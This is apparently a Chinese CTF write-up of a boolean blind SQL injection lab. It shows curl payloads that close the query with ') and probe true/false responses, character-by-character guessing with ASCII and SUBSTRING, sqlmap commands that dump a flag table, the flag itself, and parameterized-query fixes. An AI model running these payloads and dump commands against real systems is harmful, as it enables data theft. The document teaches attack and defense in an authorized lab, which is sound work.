
【好靶场】SQL 注入-布尔盲注-1【好靶场】SQL 注入-布尔盲注-1从响应差异判断到 sqlmap 读取 Flag前言一、前置知识1. 什么是布尔盲注2. 通用利用流程与MySQL核心函数3. 本题注入结构与Payload原理4. 漏洞判定与注入类型取舍二、考点分析三、靶场请求分析1. 查看页面和接口2. 发送正常请求3. 推断原始 SQL 结构四、漏洞利用流程步骤 1验证恒真和恒假条件步骤 2手工理解数据库名判断步骤 3sqlmap 确认注入点步骤 4枚举当前数据库中的表步骤 5枚举 flag 表字段步骤 6读取 Flag五、工具复现命令汇总1. 确认注入并获取当前数据库2. 枚举当前库内的数据表3. 枚举 flag 表中的全部字段4. 导出 flag 字段中的目标数据六、漏洞根因与修复1. 漏洞根因用户输入直接拼接进 SQL2. 使用参数化查询根本修复方案3. 增加输入类型校验辅助防护4. 禁止将黑名单过滤作为主防御方案5. 优化接口行为与数据库权限管控七、总结【好靶场】SQL 注入-布尔盲注-1从响应差异判断到 sqlmap 读取 Flag声明本文仅用于官方授权的隔离靶场和 CTF 安全学习。文中所有请求只针对题目给出的地址不涉及任何第三方网站或未授权系统。前言本题表面上是一个“根据用户 ID 判断用户是否存在”的功能。页面不会直接显示数据库查询结果也不会回显 SQL 报错只会根据查询结果返回一段 JSON{exists:true,message:用户存在,status:success}或{exists:false,message:用户不存在,status:success}这种通过响应中的真假差异来推断数据库查询结果的漏洞就是布尔盲注。本题的利用链如下定位 /check?id 接口 ↓ 观察 exists 字段的真假 ↓ 构造恒真、恒假条件确认注入 ↓ 确定输入需要使用 ) 闭合 ↓ sqlmap 识别 Boolean-based blind ↓ 枚举当前数据库、数据表和字段 ↓ 读取 flag 表中的目标数据一、前置知识1. 什么是布尔盲注布尔盲注属于无回显SQL注入页面既不会直接输出数据库数据也不会抛出SQL报错信息。后端只会根据SQL执行结果返回两种业务状态SQL条件成立existstrueSQL条件不成立existsfalse我们无法直接读取数据只能不断构造布尔判断语句依靠响应的真假差异配合二分法逐字符猜解出库名、表名、字段以及Flag。简易逻辑模型可控参数拼接SQL → 构造布尔条件 接口返回 true/false → 判断语句真假 多次二分猜解 → 还原完整数据2. 通用利用流程与MySQL核心函数布尔盲注标准化测试流程验证接口是否存在稳定的真假响应差异遍历测试各类闭合符号完成SQL逃逸判断后端数据库类型判断目标字符串长度逐位爆破字符ASCII值依次枚举数据库、数据表、敏感字段MySQL盲注常用函数函数/系统库作用DATABASE()获取当前数据库名LENGTH()获取字符串长度确定猜解总次数SUBSTRING()截取指定位置的单个字符ASCII()将字符转为十进制数值用于大小对比information_schemaMySQL元数据库存储库、表、字段信息3. 本题注入结构与Payload原理靶场后端接口GET /check?idxxx前端通过fetch异步发送校验请求注入点为GET参数id。后端SQL被括号包裹真实模板反向推导为WHERE(id$id)普通单引号或者单独右括号)都无法完整闭合语法需要组合)实现双重逃逸。通过多组Payload对比响应完成验证id1→true正常业务id1/id1)→ 无法产生稳定真假差异1) AND 11 AND (aa→true恒真1) AND 12 AND (aa→false恒假可用注入模板1) AND [布尔条件] AND (aa语法拆分1保留合法原始参数)闭合原有单引号与外层括号完成逃逸AND [布尔条件]插入自定义判断逻辑AND (aa用恒真表达式补齐SQL语法踩坑要点本题不能使用#、--注释截断语句注释会破坏语法无法拿到稳定布尔结果Payload有效性唯一判定标准修改中间逻辑时接口稳定返回true/false。4. 漏洞判定与注入类型取舍判断漏洞成立的核心依据更换恒真/恒假表达式接口产生稳定差异化返回。单纯输入特殊字符触发语法报错仅代表参数可控不等于可利用盲注漏洞。同时该场景无法使用UNION联合注入UNION需要页面存在明文数据输出点当前接口仅返回布尔状态没有数据回显窗口只能采用布尔盲注逐字符猜解数据。二、考点分析注入点不在首页页面而是后端异步校验接口靶场环境无需端口扫描、目录爆破直接对id参数开展测试区别普通数字型、单引号字符串注入本题属于括号包裹的字符串闭合场景是新手高频卡点掌握特殊盲注语法无法使用注释截断SQL采用恒真表达式补全语法的利用方式能够根据页面回显特征自主选择合适的注入手法区分UNION注入、报错注入与布尔盲注的适用边界。三、靶场请求分析1. 查看页面和接口访问靶场首页页面本身不会直接查询数据库输入 ID 点击校验后前端 JavaScript 会通过fetch异步向后端发送请求。打开浏览器 F12 开发者工具切换到网络Network面板抓包或者直接查看页面 JS 源码就能找到真正负责校验逻辑的后端接口GET /check?id...后续所有注入测试、Payload 验证都针对该 GET 接口执行首页页面本身不存在注入点。2. 发送正常请求在 Kali Linux 终端使用curl发送基础测试请求。这里不能直接把特殊符号拼在 URL 后面我们使用--data‑urlencode参数自动完成 URL 编码防止括号、单引号被终端转义失效。curl-sGhttp://hbc2.haobachang.com:27212/check\--data-urlencodeid1原始返回完整 JSON{exists:true,message:用户存在,status:success}手工盲注时我们只需要对比exists的真假值多余字段会干扰肉眼判断。安装jqJSON 格式化工具用来过滤提取目标布尔字段curl-sGhttp://hbc2.haobachang.com:27212/check\--data-urlencodeid1|jq-r.exists执行输出结果true实操踩坑总结不加 URL 编码直接在地址栏输入)浏览器转义后会导致 Payload 失效使用curl -G配合--data‑urlencode专门用于 GET 请求的参数编码是手工注入调试的标准写法jq过滤输出方便批量对比恒真/恒假请求的返回差异大幅提升手工盲注效率。3. 推断原始 SQL 结构靶场没有对外提供后端源码下方 SQL 语句仅为根据注入 Payload 反向推导的模拟结构用于理解闭合逻辑并非真实业务代码。我们推测后端查询模板格式如下SELECT...FROMusersWHERE(id$id)当传入注入字符串1) AND 11 AND (aa与后端模板拼接完成后最终执行的 SQL 片段等价于WHERE(id1)AND11AND(aa)如果把判断条件替换成恒假表达式12整条 WHERE 判断逻辑不成立接口就会返回existsfalse由此形成我们盲注所依赖的真假差异。四、漏洞利用流程步骤 1验证恒真和恒假条件构造两组仅布尔逻辑不同的Payload用来确认注入是否生效。执行恒真语句测试curl-sGhttp://hbc2.haobachang.com:27212/check\--data-urlencodeid1) AND 11 AND (aa|jq-r.exists预期输出true执行恒假语句测试curl-sGhttp://hbc2.haobachang.com:27212/check\--data-urlencodeid1) AND 12 AND (aa|jq-r.exists预期输出false两次请求除中间判断表达式以外完全一致但是接口返回的布尔值出现稳定差异。由此可以判定id参数存在布尔型SQL注入漏洞。步骤 2手工理解数据库名判断工具可以自动化完成爆破但我们需要先理解手工盲注的完整逻辑。首先判断当前数据库名称的字符长度curl-sGhttp://hbc2.haobachang.com:27212/check\--data-urlencodeid1) AND LENGTH(DATABASE())17 AND (aa|jq-r.exists返回结果为true代表数据库名字符长度等于17本环境数据库名为sql_injection_lab。接下来对单个字符进行猜解借助SUBSTRING截取指定位置字符再通过ASCII转换成十进制数字做大小对比。示例判断第一位字符ASCII值是否大于110curl-sGhttp://hbc2.haobachang.com:27212/check\--data-urlencodeid1) AND ASCII(SUBSTRING(DATABASE(),1,1))110 AND (aa|jq-r.exists返回true则代表条件成立字符ASCII值大于110。不断调整判断数值缩小范围逐个位置完成猜解最终拼接出完整字符串。手工盲注固定执行逻辑LENGTH() 判断目标字符串总长度 ↓ SUBSTRING() 锁定单个字符位置 ↓ ASCII() 将字符转为可比较的十进制数值 ↓ 二分法不断缩小数值区间确定准确字符步骤 3sqlmap 确认注入点完成手工验证之后使用sqlmap自动化识别注入类型并枚举数据。首次扫描增加--flush‑session清空历史缓存避免旧会话干扰识别结果。sqlmap-uhttp://hbc2.haobachang.com:27212/check?id1\-pid\--batch\--flush-session\--techniqueB\--level3\--risk1\--threads1\--timeout10\--retries1\--current-db参数功能说明参数作用-u指定本次测试的目标请求地址-p id限定仅对id参数进行注入测试--batch全部交互选项自动选用默认值--flush-session清除sqlmap本地缓存会话--techniqueB限定只使用布尔盲注模式--level3使用中等规模的Payload测试集--risk1低风险测试语句避免破坏靶场数据--threads1单线程发送请求防止请求频率过高异常--current-db查询当前连接的数据库名称sqlmap识别结果工具自动生成的可用Payloadid1) AND 18731873 AND (MVhuMVhu扫描结果再次验证本题注入闭合格式为)。步骤 4枚举当前数据库中的表已知数据库名称为sql_injection_lab增加--tables参数枚举库内所有数据表。sqlmap-uhttp://hbc2.haobachang.com:27212/check?id1\-pid\--batch\--techniqueB\--level3\--risk1\--threads1\--timeout10\--retries1\-Dsql_injection_lab\--tables返回结果数据表列表中出现目标表flag下一步针对该表读取字段信息。步骤 5枚举flag表字段使用--columns指令查询flag表包含的字段名称与数据类型。sqlmap-uhttp://hbc2.haobachang.com:27212/check?id1\-pid\--batch\--techniqueB\--level3\--risk1\--threads1\--timeout10\--retries1\-Dsql_injection_lab\-Tflag\--columns返回结果flag字段为文本类型就是我们需要获取的敏感数据。步骤 6读取 Flag指定数据库、数据表与目标字段搭配--dump导出完整数据内容。sqlmap-uhttp://hbc2.haobachang.com:27212/check?id1\-pid\--batch\--techniqueB\--level3\--risk1\--threads1\--timeout10\--retries1\-Dsql_injection_lab\-Tflag\-Cflag\--dumpsqlmap成功导出表内记录最终获取Flagflag{ed242c044870464f9264dfa47447abed}五、工具复现命令汇总如果仅需要快速复现完整利用流程可以依次执行下面四条命令全部操作仅针对靶场地址27212端口下的/check?id1接口。1. 确认注入并获取当前数据库sqlmap-uhttp://hbc2.haobachang.com:27212/check?id1\-pid--batch--flush-session--techniqueB\--level3--risk1--threads1\--timeout10--retries1--current-db2. 枚举当前库内的数据表sqlmap-uhttp://hbc2.haobachang.com:27212/check?id1\-pid--batch--techniqueB\--level3--risk1--threads1\--timeout10--retries1\-Dsql_injection_lab--tables3. 枚举 flag 表中的全部字段sqlmap-uhttp://hbc2.haobachang.com:27212/check?id1\-pid--batch--techniqueB\--level3--risk1--threads1\--timeout10--retries1\-Dsql_injection_lab-Tflag--columns4. 导出 flag 字段中的目标数据sqlmap-uhttp://hbc2.haobachang.com:27212/check?id1\-pid--batch--techniqueB\--level3--risk1--threads1\--timeout10--retries1\-Dsql_injection_lab-Tflag-Cflag--dump简易参数释义参数作用-D指定要操作的数据库名称-T指定目标数据表-C指定需要读取的字段--dump导出表内完整数据内容实操提示--flush‑session仅第一次扫描时使用后续连续复现可以省略该参数加快扫描速度。六、漏洞根因与修复1. 漏洞根因用户输入直接拼接进 SQL该漏洞和请求方式、JSON返回格式没有直接关系核心问题在于后端直接把用户可控的输入字符串拼接至SQL语句内部执行。模拟存在漏洞的伪代码逻辑如下user_idrequest.args.get(id,)sqlSELECT 1 FROM users WHERE (id user_id)cursor.execute(sql)正常传入纯数字时业务逻辑运行正常一旦攻击者提交携带单引号、括号、逻辑运算符的特殊字符串用户输入就会脱离「数据」的范畴变成可篡改SQL语义的代码片段。2. 使用参数化查询根本修复方案安全的编码方式采用预编译参数绑定SQL语句模板与用户输入完全分离。安全示例代码fromflaskimportjsonify,requestapp.get(/check)defcheck_user():raw_idrequest.args.get(id,)try:user_idint(raw_id)exceptValueError:returnjsonify({exists:False,message:参数格式错误,status:error}),400cursor.execute(SELECT 1 FROM users WHERE id %s LIMIT 1,(user_id,))existscursor.fetchone()isnotNonereturnjsonify({exists:exists,message:用户存在ifexistselse用户不存在,status:success})防护的关键语句cursor.execute(sql,(user_id,))数据库驱动会把变量作为纯数据绑定执行不会解析其中的SQL语法攻击者无法通过构造) AND ...这类Payload篡改查询逻辑。3. 增加输入类型校验辅助防护结合业务场景本接口的id本质为整型编号可以在业务层提前做合法性校验。框架自带强制类型转换user_idrequest.args.get(id,typeint)自定义格式校验raw_idrequest.args.get(id,)ifnotraw_id.isdecimal():returninvalid id,400注意输入校验属于第二层防护措施无法单独防御SQL注入修复注入漏洞的核心手段依旧是参数化查询。4. 禁止将黑名单过滤作为主防御方案仅依靠黑名单拦截关键字与特殊字符无法根治注入问题。黑名单过滤目标单引号、括号、AND、OR、空格、注释符等。攻击者可以利用URL编码、大小写变形、特殊语法、换行符等方式绕过过滤规则。黑名单只能作为安全检测的补充策略不能替代预编译语句。5. 优化接口行为与数据库权限管控线上生产环境需要配套加固策略缩小攻击面统一异常返回报文禁止对外暴露SQL报错详情对高频异常请求添加访问限速留存安全审计日志避免接口返回精准的资源存在判断结果降低布尔盲注利用条件遵循最小权限原则分配给业务程序的数据库账号仅保留必要权限。七、总结完成这道靶场的核心不在于直接套用现成Payload而是按照完整测试流程逐步验证注入特征整体利用链路梳理如下首页脚本定位目标接口 GET /check?id ↓ 发送普通请求确认 exists 布尔字段作为判断依据 ↓ 对比恒真、恒假Payload拿到稳定的 true / false 差异化响应 ↓ 多次试错确定注入点需要 ) 完成语法闭合 ↓ 判定漏洞类型为 Boolean‑based blind SQL Injection布尔型盲注 ↓ 借助 sqlmap 自动枚举 sql_injection_lab 数据库内容 ↓ 遍历数据表定位 flag 表与敏感字段 flag ↓ 导出表数据拿到最终 Flag本次靶场获取的Flagflag{ed242c044870464f9264dfa47447abed}对应的安全加固流程杜绝直接拼接用户输入构造SQL语句 ↓ 采用预编译参数化查询作为核心防护手段 ↓ 叠加业务层输入校验、统一异常返回报文 ↓ 配套数据库最小权限、请求限流、安全审计日志做纵深防御